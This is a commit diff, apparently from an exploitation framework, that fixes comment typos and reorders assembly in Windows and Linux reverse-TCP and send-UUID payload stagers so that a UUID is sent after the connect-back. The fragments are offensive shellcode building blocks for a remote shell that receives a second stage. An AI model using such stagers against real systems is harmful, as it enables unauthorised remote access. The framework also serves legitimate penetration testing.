don't jump past the uuid sender on win32/tcp connect
parent
16bc08861a
commit
340792aae4
|
@ -28,7 +28,7 @@ module Payload::Linux::SendUUID
|
|||
push ecx ; store ecx for later
|
||||
push 0 ; terminate the args array
|
||||
push #{uuid_raw.length} ; length of the UUID
|
||||
call get_uuid_address ; put uuid buffer on tehe stack
|
||||
call get_uuid_address ; put uuid buffer on the stack
|
||||
db #{raw_to_db(uuid_raw)} ; UUID itself
|
||||
get_uuid_address:
|
||||
push edi ; socket handle
|
||||
|
|
|
@ -177,11 +177,13 @@ module Payload::Windows::ReverseTcp
|
|||
end
|
||||
=end
|
||||
|
||||
asm << %Q^
|
||||
connected:
|
||||
^
|
||||
|
||||
asm << asm_send_uuid if include_send_uuid
|
||||
|
||||
asm << %Q^
|
||||
connected:
|
||||
|
||||
recv:
|
||||
; Receive the size of the incoming second stage...
|
||||
push 0 ; flags
|
||||
|
|
|
@ -27,7 +27,7 @@ module Payload::Windows::SendUUID
|
|||
send_uuid:
|
||||
push 0 ; flags
|
||||
push #{uuid_raw.length} ; length of the UUID
|
||||
call get_uuid_address ; put uuid buffer on tehe stack
|
||||
call get_uuid_address ; put uuid buffer on the stack
|
||||
db #{raw_to_db(uuid_raw)} ; UUID
|
||||
get_uuid_address:
|
||||
push edi ; saved socket
|
||||
|
|
|
@ -28,7 +28,7 @@ module Payload::Windows::SendUUID_x64
|
|||
xor r9, r9 ; flags
|
||||
push #{uuid_raw.length} ; length of the UUID
|
||||
pop r8
|
||||
call get_uuid_address ; put uuid buffer on tehe stack
|
||||
call get_uuid_address ; put uuid buffer on the stack
|
||||
db #{raw_to_db(uuid_raw)} ; UUID
|
||||
get_uuid_address:
|
||||
pop rdx ; UUID address
|
||||
|
|
Loading…
Reference in New Issue